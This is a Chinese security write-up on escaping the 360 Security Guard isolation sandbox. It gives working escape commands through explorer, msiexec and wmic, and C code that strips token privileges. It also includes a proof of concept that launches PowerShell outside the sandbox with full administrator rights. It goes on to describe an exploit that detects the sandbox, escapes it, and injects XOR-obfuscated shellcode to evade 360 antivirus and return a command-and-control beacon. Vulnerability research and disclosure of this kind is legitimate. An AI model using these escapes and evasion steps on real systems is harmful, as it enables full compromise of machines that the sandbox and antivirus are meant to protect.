0x01 简介
在2020年6月的一天发现在0day.today
上有一个关于360沙盒逃逸的漏洞360 Security Sandbox Escape,当时简单测试了下便获得了逃逸的POC(explorer.exe /e /select,C:\windows\system32\cmd.exe
),本文记录详细过程和其他的逃逸方式。
0x02 环境准备
下载360安全卫士进行安装,随后在主界面点击功能大全,选择隔离沙箱添加:
添加隔离沙箱后,版本是3.5.0.1035(该程序好像已经年久失修了,2020年的逃逸在2022年依然可以利用):
可以在右键菜单中使用在隔离沙箱中运行功能:
如没有右键菜单可以在沙箱高级设置中开启:
也可以将要运行的程序拖放进隔离沙箱的程序列表中:
在沙箱中运行的程序顶部会有保护中的标识,并且在沙盒中的程序无法访问C:\360SANDBOX\
文件夹,会提示拒绝访问:
在沙盒中的程序创建目录不会在宿主磁盘中显示(可以用来在后续判断是否已经逃逸):
0x03 可视化逃逸
这一部分是登录系统后直接在隔离沙箱中执行测试程序来尝试逃逸。测试程序是系统自带的程序或者安装的软件,通过观察这些软件是否可以在沙箱外造成影响。
0x3-1 Explorer
测试时可以进入到命令行中执行系统的其他程序。在之前的版本(2020年测试时),可以直接在沙箱中指向cmd
等程序现在已经不能直接运行,说明程序还是进行了一些更新:
通过打开文本文件后,另存为时进入命令行界面:
在另存为的界面顶部地址栏中执行CMD
(或者shift
右键在此处打开命令行):
在获得的命令行中查看当前用户和权限:
可以发现该进程的令牌特权是低完整性的,可能是通过API函数 CreateRestrictedToken或 AdjustTokenPrivileges 删除了部分特权:
在这个命令行中启动其他程序来测试,创建的子进程也会在沙箱环境中执行:
尝试在沙箱中运行浏览器等软件都仍然在沙箱中执行:
当执行explorer
程序时,资源管理器程序没有显示在沙箱中执行的标记:
尝试在顶部地址栏中打开命令行,查看当前权限发现已经是完整的管理员权限了:
当然也可以在沙箱外对磁盘写入文件等全部操作:
这说明通过explorer
程序可以在沙箱外进行操作,那么也可以直接通过explorer
执行其他文件:
#以资源管理器方式打开选中的文件夹或文件
explorer /e /select,C:\windows\system32\cmd.exe
#通过关联程序打开文件
explorer C:\windows\system32\cmd.exe
可以看到,果然可以通过explorer
来逃逸沙箱:
这就确认了一种可以逃逸360沙箱并获得完整管理员权限的方法。
0x3-1-1 特权移除测试
上文观察到沙箱环境内的特权被移除了,尝试通过AdjustTokenPrivileges
实现特权的移除。特权移除Demo如下,Demo将移除SeCreateGlobalPrivilege
特权(其他一些特权信息可以在微软文档查阅 User Rights Assignment):
DWORD RemovePrivilege()
{
HANDLE hToken;
DWORD hr = 0;
LUID luid;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (LookupPrivilegeValue(NULL,// lookup privilege on local system
SE_CREATE_GLOBAL_NAME, // privilege to lookup
&luid)) // receives LUID of privilege
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
hr = GetLastError();
printf("[-] AdjustTokenPrivileges error:%d \n", hr);
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
hr = GetLastError();
printf("[-] The token does not have the specified privilege:%d.\n", hr);
}
}
else {
hr = GetLastError();
printf("[-] Error:%d\n", hr);
}
return hr;
}
根据基础Demo编写删除更多特权的程序,执行后发现部分特权已经被删除:
0x3-2 Msiexec
在360沙盒中也可以通过msiexec
执行msi程序获得沙箱外的命令执行,只不过获得的仍然是受限Shell。通过在Visual Studio
安装Microsoft Visual Studio Installer Projects
插件来构建msi安装包。
在项目中右键选择View->自定义操作
:
把cmd.exe
添加到安装时的命令中:
构建好执行cmd程序的msi安装包后,在沙盒环境的命令行中执行msiexec /q /i cmd.msi
:
使用msiexec
执行msi安装程序时也可以逃逸出沙箱环境,但是特权仍然有限。
0x3-3 Win32_Process
另外也可以使用Win32_Process类获得沙箱外受限的命令执行:
# wmic 调用
wmic process call create cmd
# vbs script , wscript xx.vbs / xx.vbs 对象调用
INT GetObject("winmgmts:Win32_Process").Create("cmd.exe",null,null,null)
这种方式与msiexec
方式获得的权限一致。
0x04 漏洞验证实现
通过以上测试,选择explorer作为逃逸的利用程序。编写POC进行验证,主要使用CreateProcessA创建进程获得沙箱外的命令执行:
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.wShowWindow = SW_HIDE;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL, "explorer.exe C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return 0; }
printf("[+] ProcessId:%d \n", pi.dwProcessId);
printf("[+] ThreadId:%d \n", pi.dwThreadId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
程序执行后通过explorer执行powershell,成功获得了完整特权下的沙箱逃逸。
0x05 漏洞利用实现
在漏洞利用程序EXP
中可以通过检测当前Token
中启用的特权判断是否在沙箱环境中,已知的沙箱环境中Token
特权为:
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
普通用户比沙箱中多了SeShutdownPrivilege
特权
将简单以该特权判断是否在沙箱中运行,在沙箱中利用AdjustTokenPrivileges
修改不存在的SeShutdownPrivilege
特权会抛出ERROR_NOT_ALL_ASSIGNED
(错误号1300)错误:
1300错误号说明:
当在程序中修改特权返回ERROR_NOT_ALL_ASSIGNED
时就说明在沙箱中,则通过explorer
来执行当前文件获得沙箱外命令执行,如果修改特权正常,就执行shellcode
注入等操作:
测试逃逸沙箱执行cmd
:
将执行cmd
的命令换成shellcode
注入:
因为360安全沙箱是与360安全卫士配套的,所以就需要对360安全卫士进行一次免杀绕过,这里的shellcode
就直接使用RWA
格式的stage
加上简单异或:
将异或后的数组还原后打印出来,可以看出来就是原来的shellcode
:
通过这种方式简单绕过安全卫士的查杀,接下来在沙箱中执行获取beacon
,执行结果如下:
最终可以实现在安全沙箱中逃逸并绕过查杀返回beacon。
0x06 文末总结
最开始通过漏洞交易网站获得漏洞信息,然后对该安全沙箱程序进行实验,最终发现了可以进行逃逸的Payload,并通过编程实现的方式完成了POC和EXP的编写。该缺陷在cnvd上已有相关编号(CNVD-2021-41714、CNVD-2021-52377),POC: 360SecuritySandboxEscape
0x07 参考链接
Token列表
Chrome 沙盒逃逸
更改令牌中的特权
限制 Windows 上的权限(AdjustTokenPrivileges和CreateRestrictedToken)